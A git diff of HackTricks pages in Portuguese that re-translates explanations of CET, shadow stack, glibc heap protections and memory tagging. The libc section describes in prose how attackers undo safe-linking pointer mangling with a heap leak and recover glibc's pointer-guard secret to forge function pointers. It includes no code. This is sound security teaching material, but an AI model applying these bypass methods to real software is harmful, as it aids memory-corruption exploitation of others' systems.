-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} -## Tecnologia de Execução de Fluxo de Controle (CET) +## Control Flow Enforcement Technology (CET) -**CET** é um recurso de segurança implementado em nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Programação Orientada a Retorno (ROP)** e **Programação Orientada a Salto (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou encadear pedaços de código benigno de forma a realizar uma ação maliciosa. +**CET** é um recurso de segurança implementado no nível de hardware, projetado para frustrar ataques comuns de sequestro de fluxo de controle, como **Return-Oriented Programming (ROP)** e **Jump-Oriented Programming (JOP)**. Esses tipos de ataques manipulam o fluxo de execução de um programa para executar código malicioso ou para encadear pedaços de código benigno de uma maneira que realiza uma ação maliciosa. -CET introduz duas características principais: **Rastreamento de Ramificação Indireta (IBT)** e **Shadow Stack**. +CET introduz duas características principais: **Indirect Branch Tracking (IBT)** e **Shadow Stack**. -* **IBT** garante que saltos e chamadas indiretas sejam feitos para destinos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado por meio de um novo conjunto de instruções que marca os destinos válidos, impedindo assim que os atacantes desviem o fluxo de controle para locais arbitrários. -* **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação ao shadow stack, impedindo que os atacantes sobrescrevam os endereços de retorno na pilha para sequestrar o fluxo de controle. +* **IBT** garante que saltos e chamadas indiretas sejam feitos para alvos válidos, que são marcados explicitamente como destinos legais para ramificações indiretas. Isso é alcançado por meio do uso de um novo conjunto de instruções que marca alvos válidos, impedindo assim que atacantes desviem o fluxo de controle para locais arbitrários. +* **Shadow Stack** é um mecanismo que fornece integridade para endereços de retorno. Ele mantém uma cópia segura e oculta dos endereços de retorno separada da pilha de chamadas regular. Quando uma função retorna, o endereço de retorno é validado em relação à pilha sombra, impedindo que atacantes sobrescrevam endereços de retorno na pilha para sequestrar o fluxo de controle. ## Shadow Stack -O **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ele funciona ao lado da pilha regular, mas é protegido e oculto da execução normal do programa, tornando difícil para os atacantes interferir. O principal objetivo do shadow stack é garantir que quaisquer modificações nos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP. +A **shadow stack** é uma **pilha dedicada usada exclusivamente para armazenar endereços de retorno**. Ela funciona ao lado da pilha regular, mas é protegida e oculta da execução normal do programa, tornando difícil para os atacantes interferirem. O objetivo principal da shadow stack é garantir que quaisquer modificações aos endereços de retorno na pilha convencional sejam detectadas antes que possam ser usadas, mitigando efetivamente os ataques ROP. ## Como CET e Shadow Stack Previnem Ataques -Os ataques **ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de um aplicativo aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets de programação orientada a retorno, os atacantes podem executar código arbitrário. +Os **ataques ROP e JOP** dependem da capacidade de sequestrar o fluxo de controle de uma aplicação aproveitando vulnerabilidades que permitem sobrescrever ponteiros ou endereços de retorno na pilha. Ao direcionar o fluxo para sequências de gadgets de código existentes ou gadgets orientados a retorno, os atacantes podem executar código arbitrário. -* A característica **IBT do CET** torna esses ataques significativamente mais difíceis, garantindo que as ramificações indiretas possam saltar apenas para endereços que foram explicitamente marcados como destinos válidos. Isso torna impossível para os atacantes executar gadgets arbitrários espalhados pelo binário. -* O **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada no shadow stack ao retornar de uma função. Se os endereços não corresponderem, o programa pode ser encerrado ou adotar outras medidas de segurança, impedindo que o ataque tenha sucesso. +* O recurso **IBT** do CET torna esses ataques significativamente mais difíceis, garantindo que ramificações indiretas só possam saltar para endereços que foram explicitamente marcados como alvos válidos. Isso torna impossível para os atacantes executarem gadgets arbitrários espalhados pelo binário. +* A **shadow stack**, por outro lado, garante que mesmo que um atacante consiga sobrescrever um endereço de retorno na pilha normal, a **discrepância será detectada** ao comparar o endereço corrompido com a cópia segura armazenada na shadow stack ao retornar de uma função. Se os endereços não coincidirem, o programa pode ser encerrado ou tomar outras medidas de segurança, impedindo que o ataque tenha sucesso. {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Aprenda e pratique Hacking na AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking no GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para os repositórios do** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md b/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md index cca756810..2ffa05a13 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/libc-protections.md @@ -1,4 +1,4 @@ -# Proteções do Libc +# Proteções Libc {% hint style="success" %} Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ @@ -6,90 +6,106 @@ Aprenda e pratique Hacking GCP: -Apoie o HackTricks +Support HackTricks * Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. {% endhint %} -## Aplicação de Alinhamento de Chunks +## Aplicação de Alinhamento de Chunk -**Malloc** aloca memória em **grupos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve se alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. A funcionalidade de segurança verifica se cada chunk **se alinha corretamente** nessas localizações específicas antes de usar um ponteiro de um bin. +**Malloc** aloca memória em **agrupamentos de 8 bytes (32 bits) ou 16 bytes (64 bits)**. Isso significa que o final dos chunks em sistemas de 32 bits deve alinhar com **0x8**, e em sistemas de 64 bits com **0x0**. O recurso de segurança verifica se cada chunk **alinha corretamente** nesses locais específicos antes de usar um ponteiro de um bin. ### Benefícios de Segurança -A aplicação do alinhamento de chunks em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos para apenas 1 a cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso. +A aplicação de alinhamento de chunk em sistemas de 64 bits melhora significativamente a segurança do Malloc ao **limitar a colocação de chunks falsos a apenas 1 em cada 16 endereços**. Isso complica os esforços de exploração, especialmente em cenários onde o usuário tem controle limitado sobre os valores de entrada, tornando os ataques mais complexos e difíceis de executar com sucesso. -* **Ataque Fastbin no \_\_malloc\_hook** +* **Ataque Fastbin em \_\_malloc\_hook** -As novas regras de alinhamento no Malloc também impedem um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunk para **sobrescrever este ponteiro de função** e obter **execução de código**. Agora, o requisito estrito de alinhamento garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e melhorando a segurança geral. +As novas regras de alinhamento no Malloc também frustram um ataque clássico envolvendo o `__malloc_hook`. Anteriormente, os atacantes podiam manipular tamanhos de chunks para **sobrescrever este ponteiro de função** e ganhar **execução de código**. Agora, a exigência de alinhamento rigoroso garante que tais manipulações não sejam mais viáveis, fechando uma rota comum de exploração e melhorando a segurança geral. -## Ofuscação de Ponteiros em fastbins e tcache +## Mistura de Ponteiros em fastbins e tcache -**Ofuscação de Ponteiros** é um aprimoramento de segurança usado para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Essa técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam diretamente locais de memória relativos a posições conhecidas (sobrescritas **relativas**). +**Mistura de Ponteiros** é uma melhoria de segurança usada para proteger **ponteiros Fd de fastbin e tcache** em operações de gerenciamento de memória. Esta técnica ajuda a prevenir certos tipos de táticas de exploração de memória, especificamente aquelas que não requerem informações de memória vazadas ou que manipulam locais de memória diretamente em relação a posições conhecidas (sobrescritas **relativas**). -O cerne dessa técnica é uma fórmula de ofuscação: +O núcleo desta técnica é uma fórmula de ofuscação: -**`Novo_Ptr = (L >> 12) XOR P`** +**`New_Ptr = (L >> 12) XOR P`** * **L** é a **Localização de Armazenamento** do ponteiro. -* **P** é o **Ponteiro Fd de fastbin/tcache** real. +* **P** é o **Ponteiro Fd de fastbin/tcache**. -A razão para o deslocamento de bits da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido às restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro ofuscado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits. +A razão para o deslocamento bit a bit da localização de armazenamento (L) por 12 bits para a direita antes da operação XOR é crítica. Essa manipulação aborda uma vulnerabilidade inerente à natureza determinística dos 12 bits menos significativos dos endereços de memória, que são tipicamente previsíveis devido a restrições da arquitetura do sistema. Ao deslocar os bits, a parte previsível é removida da equação, aumentando a aleatoriedade do novo ponteiro misturado e, assim, protegendo contra explorações que dependem da previsibilidade desses bits. -Este ponteiro ofuscado aproveita a aleatoriedade existente fornecida pela **Randomização do Layout do Espaço de Endereços (ASLR)**, que randomiza os endereços usados pelos programas para dificultar que os atacantes prevejam o layout de memória de um processo. +Esse ponteiro misturado aproveita a aleatoriedade existente fornecida pela **Randomização de Layout de Espaço de Endereços (ASLR)**, que randomiza endereços usados por programas para dificultar a previsão do layout de memória de um processo pelos atacantes. -**Desofuscar** o ponteiro para recuperar o endereço original envolve o uso da mesma operação XOR. Aqui, o ponteiro ofuscado é tratado como P na fórmula e, quando XORado com a localização de armazenamento inalterada (L), revela o ponteiro original. Essa simetria na ofuscação e desofuscação garante que o sistema possa codificar e decodificar eficientemente ponteiros sem sobrecarga significativa, ao mesmo tempo em que aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória. +**Desmistificar** o ponteiro para recuperar o endereço original envolve usar a mesma operação XOR. Aqui, o ponteiro misturado é tratado como P na fórmula, e quando XORado com a localização de armazenamento inalterada (L), resulta na revelação do ponteiro original. Essa simetria na mistura e desmistificação garante que o sistema possa codificar e decodificar ponteiros de forma eficiente, sem sobrecarga significativa, enquanto aumenta substancialmente a segurança contra ataques que manipulam ponteiros de memória. ### Benefícios de Segurança -A ofuscação de ponteiros visa **prevenir sobrescritas parciais e completas de ponteiros em heap**, um aprimoramento significativo em segurança. Essa funcionalidade impacta as técnicas de exploração de várias maneiras: +A mistura de ponteiros visa **prevenir sobrescritas parciais e totais de ponteiros na heap**, uma melhoria significativa em segurança. Este recurso impacta técnicas de exploração de várias maneiras: -1. **Prevenção de Sobrescritas Relativas de Bye Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks de heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente no exploit **House of Roman** sem vazamento. Com a ofuscação de ponteiros, tais sobrescritas relativas **sem um vazamento de heap agora exigem força bruta**, reduzindo drasticamente a probabilidade de sucesso. -2. **Aumento da Dificuldade de Ataques a Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são prejudicados. Por exemplo, um ataque pode envolver vazar um endereço LibC, liberar um chunk no tcache bin e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a ofuscação de ponteiros, esses ponteiros devem ser corretamente ofuscados, **exigindo um vazamento de heap para manipulação precisa**, elevando assim a barreira de exploração. -3. **Necessidade de Vazamentos de Heap em Locais Não-Heap**: Criar um chunk falso em áreas não-heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento de heap** devido à necessidade de ofuscação de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante à necessidade de manipular endereços LibC. -4. **Vazar Endereços de Heap se Torna Mais Desafiador**: A ofuscação de ponteiros restringe a utilidade de ponteiros Fd em fastbin e tcache bins como fontes de vazamento de endereços de heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não ofuscados, ainda podendo ser usados para vazar endereços. Essa mudança leva os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir desofuscar ponteiros antes de um vazamento, embora com restrições. +1. **Prevenção de Sobrescritas Relativas por Byte**: Anteriormente, os atacantes podiam alterar parte de um ponteiro para **redirecionar chunks da heap para diferentes locais sem conhecer endereços exatos**, uma técnica evidente na exploração **House of Roman** sem vazamento. Com a mistura de ponteiros, tais sobrescritas relativas **sem um vazamento da heap agora requerem força bruta**, reduzindo drasticamente a probabilidade de sucesso. +2. **Aumento da Dificuldade de Ataques em Tcache Bin/Fastbin**: Ataques comuns que sobrescrevem ponteiros de função (como `__malloc_hook`) manipulando entradas de fastbin ou tcache são dificultados. Por exemplo, um ataque pode envolver vazar um endereço da LibC, liberar um chunk no bin tcache e, em seguida, sobrescrever o ponteiro Fd para redirecioná-lo para `__malloc_hook` para execução de código arbitrário. Com a mistura de ponteiros, esses ponteiros devem ser corretamente misturados, **necessitando de um vazamento da heap para manipulação precisa**, elevando assim a barreira de exploração. +3. **Requisito de Vazamentos da Heap em Locais Não-Heap**: Criar um chunk falso em áreas não-heap (como a pilha, seção .bss ou PLT/GOT) agora também **requer um vazamento da heap** devido à necessidade de mistura de ponteiros. Isso estende a complexidade de explorar essas áreas, semelhante ao requisito de manipular endereços da LibC. +4. **Vazar Endereços da Heap Torna-se Mais Desafiador**: A mistura de ponteiros restringe a utilidade dos ponteiros Fd em fastbin e tcache como fontes para vazamentos de endereços da heap. No entanto, ponteiros em bins não ordenados, pequenos e grandes permanecem não misturados, portanto ainda utilizáveis para vazar endereços. Essa mudança empurra os atacantes a explorar esses bins em busca de informações exploráveis, embora algumas técnicas ainda possam permitir a desmistificação de ponteiros antes de um vazamento, embora com restrições. -### **Desofuscar Ponteiros com um Vazamento de Heap** +### **Desmistificando Ponteiros com um Vazamento da Heap** {% hint style="danger" %} -Para uma melhor explicação do processo [**verifique a postagem original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088). +Para uma melhor explicação do processo [**verifique o post original aqui**](https://maxwelldulin.com/BlogPost?post=5445977088). {% endhint %} ### Visão Geral do Algoritmo -A fórmula usada para ofuscar e desofuscar ponteiros é: +A fórmula usada para misturar e desmistificar ponteiros é: -**`Novo_Ptr = (L >> 12) XOR P`** +**`New_Ptr = (L >> 12) XOR P`** -Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, ele expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos. +Onde **L** é a localização de armazenamento e **P** é o ponteiro Fd. Quando **L** é deslocado para a direita por 12 bits, expõe os bits mais significativos de **P**, devido à natureza do **XOR**, que produz 0 quando os bits são XORados consigo mesmos. **Passos Chave no Algoritmo:** -1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você obtém efetivamente os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados. -2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite calcular o outro operando. Essa propriedade é usada para deduzir o conjunto completo de bits para **P** sucessivamente XORando conjuntos conhecidos de bits com partes do ponteiro ofuscado. -3. **Desofuscação Iterativa**: O processo é repetido, cada vez usando os bits de **P** recém-descobertos da etapa anterior para decodificar o próximo segmento do ponteiro ofuscado, até que todos os bits sejam recuperados. -4. **Manuseio de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos pós-processo. +1. **Vazamento Inicial dos Bits Mais Significativos**: Ao XORar o **L** deslocado com **P**, você efetivamente obtém os 12 bits superiores de **P** porque a parte deslocada de **L** será zero, deixando os bits correspondentes de **P** inalterados. +2. **Recuperação dos Bits do Ponteiro**: Como o XOR é reversível, conhecer o resultado e um dos operandos permite que você calcule o outro operando. Essa propriedade é usada para deduzir todo o conjunto de bits para **P** ao XORar sucessivamente conjuntos conhecidos de bits com partes do ponteiro misturado. +3. **Desmistificação Iterativa**: O processo é repetido, cada vez usando os novos bits descobertos de **P** do passo anterior para decodificar o próximo segmento do ponteiro misturado, até que todos os bits sejam recuperados. +4. **Tratamento de Bits Determinísticos**: Os últimos 12 bits de **L** são perdidos devido ao deslocamento, mas são determinísticos e podem ser reconstruídos após o processo. -Você pode encontrar uma implementação desse algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -## Proteção de Ponteiro +Você pode encontrar uma implementação deste algoritmo aqui: [https://github.com/mdulin2/mangle](https://github.com/mdulin2/mangle) -O ponteiro guard é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, especialmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros através de XOR com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bitwise. Esse mecanismo tem como objetivo evitar que atacantes assumam o controle do fluxo de execução sobrescrevendo ponteiros de função. +## Guarda de Ponteiro -### **Burlando o Ponteiro Guard com um vazamento** +A guarda de ponteiro é uma técnica de mitigação de exploração usada no glibc para proteger ponteiros de função armazenados, particularmente aqueles registrados por chamadas de biblioteca como `atexit()`. Essa proteção envolve embaralhar os ponteiros XORando-os com um segredo armazenado nos dados da thread (`fs:0x30`) e aplicando uma rotação bit a bit. Esse mecanismo visa impedir que atacantes sequestram o fluxo de controle sobrescrevendo ponteiros de função. -1. **Compreendendo as Operações do Ponteiro Guard:** O embaralhamento (mangling) dos ponteiros é feito usando a macro `PTR_MANGLE`, que faz XOR do ponteiro com um segredo de 64 bits e então realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`. -2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto a versão original quanto a versão embaralhada de um ponteiro para deduzir o segredo usado para o embaralhamento. +### **Contornando a Guarda de Ponteiro com um vazamento** + +1. **Entendendo as Operações da Guarda de Ponteiro:** O embaralhamento (mistura) de ponteiros é feito usando o macro `PTR_MANGLE`, que XORa o ponteiro com um segredo de 64 bits e, em seguida, realiza uma rotação à esquerda de 0x11 bits. A operação reversa para recuperar o ponteiro original é tratada por `PTR_DEMANGLE`. +2. **Estratégia de Ataque:** O ataque é baseado em uma abordagem de texto conhecido, onde o atacante precisa conhecer tanto a versão original quanto a misturada de um ponteiro para deduzir o segredo usado para a mistura. 3. **Explorando Textos Conhecidos:** -* **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializados (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis. -* **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão embaralhada da tabela de ponteiros de função, o segredo pode ser calculado revertendo a rotação (rotação à direita) do ponteiro embaralhado e então fazendo XOR com o endereço da função. -4. **Textos Alternativos:** O atacante também pode experimentar embaralhar ponteiros com valores conhecidos como 0 ou -1 para ver se produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em despejos de memória. -5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de forma controlada, essencialmente burlando a proteção do Ponteiro Guard em um aplicativo multithread com conhecimento do endereço base do libc e capacidade de ler locais de memória arbitrários. +* **Identificando Ponteiros de Função Fixos:** Ao examinar o código-fonte do glibc ou tabelas de ponteiros de função inicializadas (como `__libc_pthread_functions`), um atacante pode encontrar ponteiros de função previsíveis. +* **Calculando o Segredo:** Usando um ponteiro de função conhecido, como `__pthread_attr_destroy`, e sua versão misturada da tabela de ponteiros de função, o segredo pode ser calculado girando para trás (rotação à direita) o ponteiro misturado e, em seguida, XORando-o com o endereço da função. +4. **Textos Alternativos:** O atacante também pode experimentar misturar ponteiros com valores conhecidos, como 0 ou -1, para ver se esses produzem padrões identificáveis na memória, potencialmente revelando o segredo quando esses padrões são encontrados em dumps de memória. +5. **Aplicação Prática:** Após calcular o segredo, um atacante pode manipular ponteiros de maneira controlada, essencialmente contornando a proteção da Guarda de Ponteiro em uma aplicação multithreaded com conhecimento do endereço base da libc e a capacidade de ler locais de memória arbitrários. ## Referências * [https://maxwelldulin.com/BlogPost?post=5445977088](https://maxwelldulin.com/BlogPost?post=5445977088) * [https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1](https://blog.infosectcbr.com.au/2020/04/bypassing-pointer-guard-in-linuxs-glibc.html?m=1) + +{% hint style="success" %} +Aprenda e pratique Hacking AWS:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Aprenda e pratique Hacking GCP: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) + +
+ +Support HackTricks + +* Confira os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! +* **Junte-se ao** 💬 [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-nos no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Compartilhe truques de hacking enviando PRs para o** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositórios do github. + +
+{% endhint %} diff --git a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md index fe66a163f..508fd86d9 100644 --- a/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md +++ b/binary-exploitation/common-binary-protections-and-bypasses/memory-tagging-extension-mte.md @@ -1,93 +1,108 @@ -# Extensão de Marcação de Memória (MTE) +# Memory Tagging Extension (MTE) {% hint style="success" %} -Aprenda e pratique Hacking AWS:[**Treinamento HackTricks AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Aprenda e pratique Hacking GCP: [**Treinamento HackTricks GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Learn & practice AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Learn & practice GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Apoie o HackTricks +Support HackTricks -* Verifique os [**planos de assinatura**](https://github.com/sponsors/carlospolop)! -* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-nos** no **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Compartilhe truques de hacking enviando PRs para os repositórios** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). +* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)! +* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
{% endhint %} -## Informações Básicas +## Basic Information -A **Extensão de Marcação de Memória (MTE)** é projetada para aprimorar a confiabilidade e segurança do software ao **detectar e prevenir erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após liberação. O MTE, como parte da arquitetura **ARM**, fornece um mecanismo para anexar uma **pequena tag a cada alocação de memória** e uma **tag correspondente a cada ponteiro** que referencia essa memória. Esse método permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário. +**Memory Tagging Extension (MTE)** é projetado para aumentar a confiabilidade e segurança do software, **detectando e prevenindo erros relacionados à memória**, como estouros de buffer e vulnerabilidades de uso após a liberação. O MTE, como parte da arquitetura **ARM**, fornece um mecanismo para anexar um **pequeno rótulo a cada alocação de memória** e um **rótulo correspondente a cada ponteiro** que referencia essa memória. Essa abordagem permite a detecção de acessos ilegais à memória em tempo de execução, reduzindo significativamente o risco de explorar tais vulnerabilidades para executar código arbitrário. -### **Como a Extensão de Marcação de Memória Funciona** +### **How Memory Tagging Extension Works** -O MTE opera dividindo a memória em blocos pequenos de tamanho fixo, com cada bloco atribuído a uma tag, geralmente de alguns bits de tamanho. +O MTE opera **dividindo a memória em pequenos blocos de tamanho fixo, com cada bloco atribuído a um rótulo,** tipicamente de alguns bits de tamanho. -Quando um ponteiro é criado para apontar para essa memória, ele recebe a mesma tag. Essa tag é armazenada nos **bits não utilizados de um ponteiro de memória**, vinculando efetivamente o ponteiro ao seu bloco de memória correspondente. +Quando um ponteiro é criado para apontar para essa memória, ele recebe o mesmo rótulo. Esse rótulo é armazenado nos **bits não utilizados de um ponteiro de memória**, vinculando efetivamente o ponteiro ao seu bloco de memória correspondente.

https://www.youtube.com/watch?v=UwMt0e_dC_Q

-Quando um programa acessa a memória por meio de um ponteiro, o hardware MTE verifica se a **tag do ponteiro corresponde à tag do bloco de memória**. Se as tags **não corresponderem**, isso indica um **acesso ilegal à memória**. +Quando um programa acessa a memória através de um ponteiro, o hardware MTE verifica se o **rótulo do ponteiro corresponde ao rótulo do bloco de memória**. Se os rótulos **não corresponderem**, isso indica um **acesso ilegal à memória.** -### Tags de Ponteiro MTE +### MTE Pointer Tags -As tags dentro de um ponteiro são armazenadas em 4 bits dentro do byte superior: +Os rótulos dentro de um ponteiro são armazenados em 4 bits dentro do byte superior:

https://www.youtube.com/watch?v=UwMt0e_dC_Q

